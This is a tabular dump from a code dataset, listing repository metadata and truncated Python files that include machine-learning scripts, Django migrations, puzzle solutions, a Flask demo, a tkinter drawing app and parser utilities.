hexsha stringlengths 40 40 | size int64 6 782k | ext stringclasses 7
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 237 | max_stars_repo_name stringlengths 6 72 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses list | max_stars_count int64 1 53k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 184 | max_issues_repo_name stringlengths 6 72 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses list | max_issues_count int64 1 27.1k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 184 | max_forks_repo_name stringlengths 6 72 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses list | max_forks_count int64 1 12.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 782k | avg_line_length float64 2.75 664k | max_line_length int64 5 782k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
011cf8d8d2015e14c4840f2b3169c31856dd729b | 4,010 | py | Python | official/cv/sphereface/postprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | official/cv/sphereface/postprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | official/cv/sphereface/postprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 38.932039 | 106 | 0.630424 |
fed34ec47f017c0958a09deb886a30ddcf0c1649 | 1,357 | py | Python | published_post.py | Lanseuo/lucas-blog | fd6932952aac3a3055026551700bc86adef279f4 | [
"MIT"
] | 1 | 2019-01-29T15:57:20.000Z | 2019-01-29T15:57:20.000Z | published_post.py | Lanseuo/lucas-blog | fd6932952aac3a3055026551700bc86adef279f4 | [
"MIT"
] | 1 | 2018-05-05T19:43:28.000Z | 2018-05-05T19:43:28.000Z | published_post.py | Lanseuo/lucas-blog | fd6932952aac3a3055026551700bc86adef279f4 | [
"MIT"
] | 1 | 2018-04-24T09:36:57.000Z | 2018-04-24T09:36:57.000Z | import requests
import twitter
from onesignal import OneSignal, SegmentNotification
import config
twitter_client = twitter.Api(config.twitter_consumer,
config.twitter_consumer_secret,
config.twitter_token,
config.twitter_token_sec... | 27.14 | 105 | 0.655122 |
c935c97dfa1ccdf49b3830bd1982c1ec410598c6 | 10,838 | py | Python | flipui/gfx/pixelfont.py | julianschick/flipdot-brose-code | b2caf2c52c55a0d5b80dbf3d5adbbf5aec1d79c2 | [
"MIT"
] | null | null | null | flipui/gfx/pixelfont.py | julianschick/flipdot-brose-code | b2caf2c52c55a0d5b80dbf3d5adbbf5aec1d79c2 | [
"MIT"
] | null | null | null | flipui/gfx/pixelfont.py | julianschick/flipdot-brose-code | b2caf2c52c55a0d5b80dbf3d5adbbf5aec1d79c2 | [
"MIT"
] | null | null | null | from PIL import Image
from typing import List, Tuple, Optional, Dict
from enum import Enum
from gfx.rect import Rect
class PixelFontVariant(Enum):
NORMAL = 0
BOLD = 1
V = PixelFontVariant
class SpecialChar(Enum):
SPACE = 0
LINEBREAK = 1
class TextAlignment(Enum):
LEFT = 0
RIGHT = 1
C... | 36.006645 | 139 | 0.545119 |
6c66e3a201d89cb07383ed590947c522b681e8b5 | 736 | py | Python | Project Euler Qusetions 41 - 50/Project Euler Question 41.py | Clayton-Threm/Coding-Practice | 6671e8a15f9e797338caa617dae45093f4157bc1 | [
"MIT"
] | 1 | 2020-02-11T02:03:02.000Z | 2020-02-11T02:03:02.000Z | Project Euler Qusetions 41 - 50/Project Euler Question 41.py | Clayton-Threm/Coding-Practice | 6671e8a15f9e797338caa617dae45093f4157bc1 | [
"MIT"
] | null | null | null | Project Euler Qusetions 41 - 50/Project Euler Question 41.py | Clayton-Threm/Coding-Practice | 6671e8a15f9e797338caa617dae45093f4157bc1 | [
"MIT"
] | null | null | null | #Project Euler Question 41
#Pandigital prime
import math
import itertools
def prime_check(x):
if x > 2:
if x % 2 == 0:
return False
else:
for factor in range(3, int(math.sqrt(x) + 1), 2):
if (x % factor) == 0:
return False
else... | 24.533333 | 87 | 0.512228 |
6657c6c4f9a9d3b1dadcbb36fe72ddb3f9842c13 | 8,127 | py | Python | src/lcdoc/mkdocs/find_pages/autodocs.py | axiros/docutools | f99874a64afba8f5bc740049d843151ccd9ceaf7 | [
"BSD-2-Clause"
] | 24 | 2021-10-04T22:11:59.000Z | 2022-02-02T21:51:43.000Z | src/lcdoc/mkdocs/find_pages/autodocs.py | axiros/docutools | f99874a64afba8f5bc740049d843151ccd9ceaf7 | [
"BSD-2-Clause"
] | 2 | 2021-10-04T21:51:30.000Z | 2021-10-05T14:15:31.000Z | src/lcdoc/mkdocs/find_pages/autodocs.py | axiros/docutools | f99874a64afba8f5bc740049d843151ccd9ceaf7 | [
"BSD-2-Clause"
] | null | null | null | import string
import time
from ast import literal_eval
from contextlib import contextmanager
from functools import partial
from hashlib import md5
from lcdoc.mkdocs.tools import MDPlugin, app, config_options, find_md_files
from lcdoc.tools import (
OD,
dirname,
exists,
flatten,
os,
project,
... | 35.644737 | 94 | 0.519503 |
66086110c741c9e8412ba2104ba6156af58ecc35 | 264 | py | Python | Online-Judges/CodingBat/Python/Logic-02/Logic_2-07-make_chocolate.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | 3 | 2021-06-15T01:19:23.000Z | 2022-03-16T18:23:53.000Z | Online-Judges/CodingBat/Python/Logic-02/Logic_2-07-make_chocolate.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | null | null | null | Online-Judges/CodingBat/Python/Logic-02/Logic_2-07-make_chocolate.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | null | null | null | def make_chocolate(small, big, goal):
total = 0
for _ in range(big):
if total + 5 <= goal:
total = total + 5
else:
break
remaining = goal - total
if remaining <= small:
return remaining
return -1
| 22 | 37 | 0.518939 |
b010544d67c2326ad2c79820a1d4c5ccd0fdd524 | 523 | py | Python | 01.DataStructure/Stack&Queue/B1158-M.py | SP2021-2/Algorithm | 2e629eb5234212fad8bbc11491aad068e5783780 | [
"MIT"
] | 1 | 2021-11-21T06:03:06.000Z | 2021-11-21T06:03:06.000Z | 01.DataStructure/Stack&Queue/B1158-M.py | SP2021-2/Algorithm | 2e629eb5234212fad8bbc11491aad068e5783780 | [
"MIT"
] | 2 | 2021-10-13T07:21:09.000Z | 2021-11-14T13:53:08.000Z | 01.DataStructure/Stack&Queue/B1158-M.py | SP2021-2/Algorithm | 2e629eb5234212fad8bbc11491aad068e5783780 | [
"MIT"
] | null | null | null | num,jump = (input ().split())
num = int(num)
jump = int(jump)
arr = list(range(1,num+1))
print_arr =[]
pointer =jump-1
while(len(arr) != 0):
print_arr.append(arr[pointer])
arr.pop(pointer)
if(len(arr)==0):
break
pointer += jump-1
while(pointer > len(arr)-1):
pointer -= len(arr)
... | 20.115385 | 35 | 0.531549 |
b1b5333416335c43d9d420aa88a98038c32fe2db | 1,207 | py | Python | src/onegov/org/security.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/security.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/security.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.org.app import OrgApp
from onegov.org.models import Export
from onegov.ticket import Ticket
@OrgApp.permission_rule(model=Export, permission=object, identity=None)
def has_export_permission_not_logged_in(app, identity, model, permission):
return model.permission in app.settings.roles.anonymous
@OrgA... | 34.485714 | 74 | 0.706711 |
a723f5ad483c78ca89083958ecfd3eb8512ad3c5 | 2,030 | py | Python | src/ingestion/destinations/monosi.py | monosidev/monosi | a88b689fc74010b10dbabb32f4b2bdeae865f4d5 | [
"Apache-2.0"
] | 156 | 2021-11-19T18:50:14.000Z | 2022-03-31T19:48:59.000Z | src/ingestion/destinations/monosi.py | monosidev/monosi | a88b689fc74010b10dbabb32f4b2bdeae865f4d5 | [
"Apache-2.0"
] | 30 | 2021-12-27T19:30:56.000Z | 2022-03-30T17:49:00.000Z | src/ingestion/destinations/monosi.py | monosidev/monosi | a88b689fc74010b10dbabb32f4b2bdeae865f4d5 | [
"Apache-2.0"
] | 14 | 2022-01-17T23:24:34.000Z | 2022-03-29T09:27:47.000Z | import logging
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker, Session
from typing import Any, List
from ingestion.sources.postgresql import PostgreSQLSourceConfiguration
from .base import Destination, Publisher
class SQLAlchemyPublisher(Publisher):
def __init__(self, configuration... | 26.025641 | 72 | 0.635468 |
59e03f61eb0722dd6c5f9ef6e7ed5745a4d4475e | 869 | py | Python | site/public/courses/BEW-1.1/Lessons/06-Testing-RESTful-Routes/demo/app.py | KitsuneNoctus/makeschool | 5eec1a18146abf70bb78b4ee3d301f6a43c9ede4 | [
"MIT"
] | 1 | 2021-08-24T20:22:19.000Z | 2021-08-24T20:22:19.000Z | site/public/courses/BEW-1.1/Lessons/06-Testing-RESTful-Routes/demo/app.py | KitsuneNoctus/makeschool | 5eec1a18146abf70bb78b4ee3d301f6a43c9ede4 | [
"MIT"
] | null | null | null | site/public/courses/BEW-1.1/Lessons/06-Testing-RESTful-Routes/demo/app.py | KitsuneNoctus/makeschool | 5eec1a18146abf70bb78b4ee3d301f6a43c9ede4 | [
"MIT"
] | null | null | null | from flask import Flask, render_template, request
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello, world!'
@app.route('/fortune')
def fortune():
return """
<form action='/fortune_results'>
What is your favorite animal?
<input type='text' name='animal'><br>
... | 25.558824 | 55 | 0.604143 |
e63b24797198b7f421d5de289d0c6e6bec97cbbd | 4,672 | py | Python | bigbench/benchmark_tasks/abstract_narrative_understanding/utils.py | dimmollo/BIG-bench | f0dffeb4f16ef5489686a81e2d63362d251cda3e | [
"Apache-2.0"
] | 460 | 2021-01-26T21:23:37.000Z | 2022-03-31T15:55:10.000Z | bigbench/benchmark_tasks/abstract_narrative_understanding/utils.py | dimmollo/BIG-bench | f0dffeb4f16ef5489686a81e2d63362d251cda3e | [
"Apache-2.0"
] | 475 | 2021-01-27T01:29:01.000Z | 2022-03-30T20:23:56.000Z | bigbench/benchmark_tasks/abstract_narrative_understanding/utils.py | dimmollo/BIG-bench | f0dffeb4f16ef5489686a81e2d63362d251cda3e | [
"Apache-2.0"
] | 305 | 2021-01-26T23:28:11.000Z | 2022-03-31T14:51:26.000Z | #!/usr/bin/env python3
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software... | 36.5 | 142 | 0.657748 |
0521d784531b6e6d7b025155210182a98e2eb244 | 696 | py | Python | crawlab/spiders/spiders/db.py | anhilo/crawlab | 363f4bf7a4ccc192a99850998c1bd0fc363832a1 | [
"BSD-3-Clause"
] | 1 | 2019-08-20T14:26:39.000Z | 2019-08-20T14:26:39.000Z | crawlab/spiders/spiders/db.py | anhilo/crawlab | 363f4bf7a4ccc192a99850998c1bd0fc363832a1 | [
"BSD-3-Clause"
] | null | null | null | crawlab/spiders/spiders/db.py | anhilo/crawlab | 363f4bf7a4ccc192a99850998c1bd0fc363832a1 | [
"BSD-3-Clause"
] | null | null | null | import os
from pymongo import MongoClient
MONGO_HOST = os.environ.get('MONGO_HOST') or 'localhost'
MONGO_PORT = int(os.environ.get('MONGO_PORT')) or 27017
MONGO_USERNAME = os.environ.get('MONGO_USERNAME')
MONGO_PASSWORD = os.environ.get('MONGO_PASSWORD')
MONGO_DB = os.environ.get('MONGO_DB') or 'crawlab_test'
mongo =... | 36.631579 | 59 | 0.698276 |
75da469ee2690357b588b483f966634fd4dcf973 | 691 | py | Python | exercises/fr/test_01_04.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | exercises/fr/test_01_04.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | exercises/fr/test_01_04.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | def test():
assert (
"if token.like_num" in __solution__
), "Vérifies-tu l'attribut like_num du token ?"
assert (
'next_token.text == "%"' in __solution__
), "Vérifies-tu si le texte du token suivant est un signe pourcentage ?"
assert (
next_token.text == "%"
), "Vérifies... | 36.368421 | 82 | 0.629522 |
f98a5c79fd15b092b14dfa3d7b3eb40e7dddb420 | 3,941 | py | Python | backend/apps/iamstudent/migrations/0007_auto_20200402_2055.py | n-hackert/match4healthcare | 761248c27b49e568c545c643a72eac9a040649d7 | [
"MIT"
] | 2 | 2020-03-28T13:56:39.000Z | 2020-03-29T10:16:12.000Z | backend/apps/iamstudent/migrations/0007_auto_20200402_2055.py | n-hackert/match4healthcare | 761248c27b49e568c545c643a72eac9a040649d7 | [
"MIT"
] | 76 | 2020-03-27T21:53:04.000Z | 2020-03-30T20:27:43.000Z | backend/apps/iamstudent/migrations/0007_auto_20200402_2055.py | n-hackert/match4healthcare | 761248c27b49e568c545c643a72eac9a040649d7 | [
"MIT"
] | null | null | null | # Generated by Django 3.0.4 on 2020-04-02 20:55
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('iamstudent', '0006_merge_20200330_0313'),
]
operations = [
migrations.AddField(
model_name='student',
name='ausbildu... | 37.894231 | 159 | 0.591982 |
34b5231647edf2d6096a881bcffd600033b438cc | 747 | py | Python | elements/python/5/12/soln.py | mmcloughlin/problems | 6095842ffe007a12ec8c2093850515aa4e046616 | [
"MIT"
] | 11 | 2019-02-08T06:54:34.000Z | 2021-08-07T18:57:39.000Z | elements/python/5/12/soln.py | mmcloughlin/problems | 6095842ffe007a12ec8c2093850515aa4e046616 | [
"MIT"
] | 1 | 2019-05-21T08:14:10.000Z | 2019-05-21T08:14:10.000Z | elements/python/5/12/soln.py | mmcloughlin/problems | 6095842ffe007a12ec8c2093850515aa4e046616 | [
"MIT"
] | null | null | null | import random
def randbit():
"""Returns a random bit."""
return random.randrange(2)
def randrange(a, b):
"""Returns a random integer in the range [a, b]."""
return a + randupto(b-a+1)
def randnbits(n):
x = 0
for i in range(n):
x = (x << 1) | randbit()
return x
def randupto(m)... | 15.5625 | 55 | 0.504685 |
b5c9d8175877c92d5acf06afb464e8486bee97c9 | 7,186 | py | Python | preprocess_evaluate_corpus.py | florianfricke/Bachelor_Thesis_Sentiment_Analyse | aa1fa95cfbc13115ee60baaf79eab0d1940998ab | [
"MIT"
] | 1 | 2020-06-04T13:20:45.000Z | 2020-06-04T13:20:45.000Z | preprocess_evaluate_corpus.py | florianfricke/Bachelor_Thesis_Sentiment_Analyse | aa1fa95cfbc13115ee60baaf79eab0d1940998ab | [
"MIT"
] | 6 | 2020-06-03T18:45:11.000Z | 2022-02-10T01:51:03.000Z | preprocess_evaluate_corpus.py | florianfricke/Bachelor_Thesis_Sentiment_Analyse | aa1fa95cfbc13115ee60baaf79eab0d1940998ab | [
"MIT"
] | null | null | null | """
Created by Florian Fricke.
"""
from utilities.utilities import get_filenames_from_directory
from utilities.utilities import transform_data
from data_preprocessing.preprocessing_corpus import PreprocessingCorpus
from data_preprocessing.preprocessing_text import PreprocessingText
from data_preprocessing.train_test_s... | 47.276316 | 207 | 0.627192 |
951e34e0f5f3a36bf9e82c3e0ce962eec55354ee | 2,183 | py | Python | pythonProj/FZPython/pyquant/models/symbol_data.py | iHamburg/FZQuant | 86b750ec33d01badfd3f324d6f1599118b9bf8ff | [
"MIT"
] | null | null | null | pythonProj/FZPython/pyquant/models/symbol_data.py | iHamburg/FZQuant | 86b750ec33d01badfd3f324d6f1599118b9bf8ff | [
"MIT"
] | null | null | null | pythonProj/FZPython/pyquant/models/symbol_data.py | iHamburg/FZQuant | 86b750ec33d01badfd3f324d6f1599118b9bf8ff | [
"MIT"
] | 2 | 2019-04-10T10:05:00.000Z | 2021-11-24T17:17:23.000Z | # import pyquant.libs.mongolib as mongolib
# import pyquant.libs.tusharelib as tusharelib
# from pyquant.models.security import *
# from pyquant.models.datasource import *
from pyquant.utils.monitor import listener, Monitor
from pyquant.db_models import (Symbol, DailyPrice)
class SymbolData(object):
"""
封装
... | 22.050505 | 123 | 0.617957 |
1f21c5589dc1cb8b8b7af4d40bf13551a41175df | 337 | py | Python | pacman-arch/test/pacman/tests/upgrade071.py | Maxython/pacman-for-termux | 3b208eb9274cbfc7a27fca673ea8a58f09ebad47 | [
"MIT"
] | 23 | 2021-05-21T19:11:06.000Z | 2022-03-31T18:14:20.000Z | source/pacman-6.0.1/test/pacman/tests/upgrade071.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 11 | 2021-05-21T12:08:44.000Z | 2021-12-21T08:30:08.000Z | source/pacman-6.0.1/test/pacman/tests/upgrade071.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-09-26T08:44:40.000Z | 2021-09-26T08:44:40.000Z | self.description = "Install a package with a missing dependency"
p = pmpkg("dummy")
p.files = ["bin/dummy",
"usr/man/man1/dummy.1"]
p.depends = ["dep1"]
self.addpkg(p)
self.args = "-U %s" % p.filename()
self.addrule("PACMAN_RETCODE=1")
self.addrule("!PKG_EXIST=dummy")
for f in p.files:
self.addrule("!FIL... | 22.466667 | 64 | 0.655786 |
c082caf7b3f1761ba7f075470a8fbffa32783f69 | 1,433 | py | Python | tkinter-2021-01-12.py | Bertik23/spg | f6449f1ca8f3a869f0f493f3988b3d84901c1be0 | [
"MIT"
] | null | null | null | tkinter-2021-01-12.py | Bertik23/spg | f6449f1ca8f3a869f0f493f3988b3d84901c1be0 | [
"MIT"
] | null | null | null | tkinter-2021-01-12.py | Bertik23/spg | f6449f1ca8f3a869f0f493f3988b3d84901c1be0 | [
"MIT"
] | null | null | null | from tkinter import Tk, Canvas, Scale, Button, HORIZONTAL
class Dummy:
pass
mouse = Dummy()
mouse.width = 1
mouse.color = "#000000"
def move(e):
if getattr(mouse, "pressed", False):
canvas.create_line(getattr(mouse, "x", e.x), getattr(mouse, "y", e.y), e.x, e.y, width=mouse.width, fill=mouse.color)
... | 29.244898 | 159 | 0.642708 |
7b48866b9540d5d37da9ffb889d149f78ed2d63f | 977 | py | Python | Python/plotCdAlpha.py | guillaumetousignant/euler3D | 7bdfaae7f6b774232b6fc9f83d40a67ccee9a8ae | [
"MIT"
] | 1 | 2019-02-11T00:45:37.000Z | 2019-02-11T00:45:37.000Z | Python/plotCdAlpha.py | guillaumetousignant/euler3D | 7bdfaae7f6b774232b6fc9f83d40a67ccee9a8ae | [
"MIT"
] | null | null | null | Python/plotCdAlpha.py | guillaumetousignant/euler3D | 7bdfaae7f6b774232b6fc9f83d40a67ccee9a8ae | [
"MIT"
] | null | null | null | import numpy as np
import math
import string
import matplotlib
import matplotlib.pyplot as plt
class plotCdAlpha(object):
#Plot Cd vs Alpha graph
def __init__(self, npAngleOfAttack, npAerodynamicCd):
print("plotCdAlpha.....................................................");
self.Angle... | 36.185185 | 83 | 0.513818 |
b56316128c6bda34dacdbf4cbebc6b965a92cb9f | 6,628 | py | Python | methods/t5/finetune.py | INK-USC/RiddleSense | a3d57eaf084da9cf6b77692c608e2cd2870fbd97 | [
"MIT"
] | 3 | 2021-07-06T20:02:31.000Z | 2022-03-27T13:13:01.000Z | methods/t5/finetune.py | INK-USC/RiddleSense | a3d57eaf084da9cf6b77692c608e2cd2870fbd97 | [
"MIT"
] | null | null | null | methods/t5/finetune.py | INK-USC/RiddleSense | a3d57eaf084da9cf6b77692c608e2cd2870fbd97 | [
"MIT"
] | null | null | null | from logger import LoggingCallback
import random
import numpy as np
import torch
import argparse
import os
import re
import pytorch_lightning as pl
from trainer import *
import glob
def set_seed(seed):
random.seed(seed)
np.random.seed(seed)
torch.manual_seed(seed)
if torch.cuda.is_availa... | 43.605263 | 129 | 0.635938 |
199154b7821cd241b9cceab95421f7ae72daf414 | 1,671 | py | Python | python/concurrency/concurrency_futures/download.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/concurrency/concurrency_futures/download.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/concurrency/concurrency_futures/download.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | from pathlib import Path
import urllib.request
from concurrent.futures import ThreadPoolExecutor, as_completed
from utils import timeit
def download_one(url):
"""
Downloads the specified URL and saves it to disk
"""
req = urllib.request.urlopen(url)
fullpath = Path(url)
fname = f... | 24.573529 | 64 | 0.610413 |
5fdcd16bc06ebac3c24ce88d449f0476cae1a657 | 318 | py | Python | Tutorials/10 Days of Statistics/Day 6/central_limit_theorem3.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | 1 | 2021-02-22T17:37:45.000Z | 2021-02-22T17:37:45.000Z | Tutorials/10 Days of Statistics/Day 6/central_limit_theorem3.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | Tutorials/10 Days of Statistics/Day 6/central_limit_theorem3.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | #!/bin/python3
from math import sqrt
samples = float(input())
mu = float(input())
std = float(input())
confidence = float(input())
zscore = float(input())
lower = samples * mu - zscore * sqrt(samples) * std
upper = samples * mu + zscore * sqrt(samples) * std
print(round(lower/100, 2))
print(round(upper/100, 2))
| 18.705882 | 51 | 0.666667 |
47682fcc5aa457b2291591c2f8db338ff46c0d6f | 1,968 | py | Python | Packs/ExpanseV2/Integrations/FeedExpanse/FeedExpanse_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/ExpanseV2/Integrations/FeedExpanse/FeedExpanse_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/ExpanseV2/Integrations/FeedExpanse/FeedExpanse_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import io
import json
def util_load_json(path):
with io.open(path, mode='r', encoding='utf-8') as f:
return json.loads(f.read())
def test_indicator_generator(requests_mock):
"""
Given:
- an Expanse client
- a valid API Key
When
- indicator generator is called
Then... | 28.521739 | 100 | 0.667175 |
d0b9c3e67cfdffc2eb8346f860dd10ba637767b9 | 3,879 | py | Python | model/model.py | quanghona/SOLO_tf2 | 4aab0fc9115d210f08e694ec59b5f093ade8ce91 | [
"MIT"
] | 8 | 2021-03-07T10:25:21.000Z | 2022-02-20T23:57:24.000Z | model/model.py | quanghona/SOLO_tf2 | 4aab0fc9115d210f08e694ec59b5f093ade8ce91 | [
"MIT"
] | null | null | null | model/model.py | quanghona/SOLO_tf2 | 4aab0fc9115d210f08e694ec59b5f093ade8ce91 | [
"MIT"
] | null | null | null | import tensorflow as tf
from model.layers.fpn import FeaturePyramidNetwork
from model.layers.head import PredictionHead
assert tf.__version__.startswith('2')
class SOLO(tf.keras.Model):
def __init__(self, num_class, input_size, grid_sizes=[24], backbone="resnet50", head_style="vanilla", head_depth=8, fpn_channe... | 47.888889 | 147 | 0.584687 |
ef2902513188b067bfb2145f038423ed998728bf | 3,340 | py | Python | aMLpy/fig_great_wall.py | dirac-institute/SPSAS2019 | 34781162bb088b17c1b9afb69eee2284dce6bdec | [
"MIT"
] | 15 | 2019-07-31T07:18:49.000Z | 2021-06-03T23:41:59.000Z | aMLpy/fig_great_wall.py | dirac-institute/SPSAS2019 | 34781162bb088b17c1b9afb69eee2284dce6bdec | [
"MIT"
] | null | null | null | aMLpy/fig_great_wall.py | dirac-institute/SPSAS2019 | 34781162bb088b17c1b9afb69eee2284dce6bdec | [
"MIT"
] | 6 | 2019-08-01T19:33:16.000Z | 2020-08-27T13:01:15.000Z | """
Great Wall Density
------------------
Comparison of density estimation techniques on the SDSS great wall
"""
# Author: Jake VanderPlas <vanderplas@astro.washington.edu>
# License: BSD
# The figure produced by this code is published in the textbook
# "Statistics, Data Mining, and Machine Learning in Astronomy" (... | 33.4 | 76 | 0.600299 |
324fd76df2a9a2becc3485339239edf8b4a768ad | 727 | py | Python | deutschland/zoll/__init__.py | kiranmusze/deutschland | 86d8ead3f38ad88ad66bb338b9f5a8db06992344 | [
"Apache-2.0"
] | null | null | null | deutschland/zoll/__init__.py | kiranmusze/deutschland | 86d8ead3f38ad88ad66bb338b9f5a8db06992344 | [
"Apache-2.0"
] | null | null | null | deutschland/zoll/__init__.py | kiranmusze/deutschland | 86d8ead3f38ad88ad66bb338b9f5a8db06992344 | [
"Apache-2.0"
] | null | null | null | # flake8: noqa
"""
Einfuhrzoll API
Abfragen von Importzöllen und Wechselkursen # noqa: E501
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
"""
__version__ = "1.0.0"
# import ApiClient
from deutschland.zoll.api_client import ApiClient
# import Configuratio... | 25.964286 | 61 | 0.811554 |
08d5779880f7b81f402e1392a207e2aab6e44840 | 2,303 | py | Python | gestionTomaDatos/migrations/0001_initial.py | AnuTor/UniNeuroLab | 5825f440d4663650f038083f3da05229cc5ada4f | [
"Apache-2.0"
] | 1 | 2021-01-09T01:20:45.000Z | 2021-01-09T01:20:45.000Z | gestionTomaDatos/migrations/0001_initial.py | AnuTor/UniNeuroLab | 5825f440d4663650f038083f3da05229cc5ada4f | [
"Apache-2.0"
] | 1 | 2021-01-09T00:53:55.000Z | 2021-01-09T00:53:55.000Z | gestionTomaDatos/migrations/0001_initial.py | AnuTor/UniNeuroLab | 5825f440d4663650f038083f3da05229cc5ada4f | [
"Apache-2.0"
] | 1 | 2021-01-07T23:57:28.000Z | 2021-01-07T23:57:28.000Z | # Generated by Django 2.2.17 on 2021-01-07 03:43
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Estudio',
fields=[
('id', models.AutoField... | 40.403509 | 114 | 0.541033 |
f5c188b193ab50a6a91e00985eed8e29aeac8f11 | 196 | py | Python | Hackergame_2020/会复读的复读机/sha256.py | Wycers/Codelib | 86d83787aa577b8f2d66b5410e73102411c45e46 | [
"MIT"
] | 22 | 2018-08-07T06:55:10.000Z | 2021-06-12T02:12:19.000Z | Hackergame_2020/会复读的复读机/sha256.py | Wycers/Codelib | 86d83787aa577b8f2d66b5410e73102411c45e46 | [
"MIT"
] | 28 | 2020-03-04T23:47:22.000Z | 2022-02-26T18:50:00.000Z | Hackergame_2020/会复读的复读机/sha256.py | Wycers/Codelib | 86d83787aa577b8f2d66b5410e73102411c45e46 | [
"MIT"
] | 4 | 2019-11-09T15:41:26.000Z | 2021-10-10T08:56:57.000Z | import hashlib;m = hashlib.sha256();s = 'import hashlib;m = hashlib.sha256();s = %r;m.update((s %% s).encode());print(m.hexdigest(),end="")';m.update((s % s).encode());print(m.hexdigest(),end="")
| 98 | 195 | 0.627551 |
de3ee71d4941f601f8f766ff49d42d6c762599d7 | 39,707 | py | Python | DHParser/toolkit.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 2 | 2020-12-25T19:37:42.000Z | 2021-03-26T04:59:12.000Z | DHParser/toolkit.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 6 | 2018-08-07T22:48:52.000Z | 2021-10-07T18:38:20.000Z | DHParser/toolkit.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | null | null | null | # toolkit.py - utility functions for DHParser
#
# Copyright 2016 by Eckhart Arnold (arnold@badw.de)
# Bavarian Academy of Sciences an Humanities (badw.de)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obt... | 34.739283 | 97 | 0.568489 |
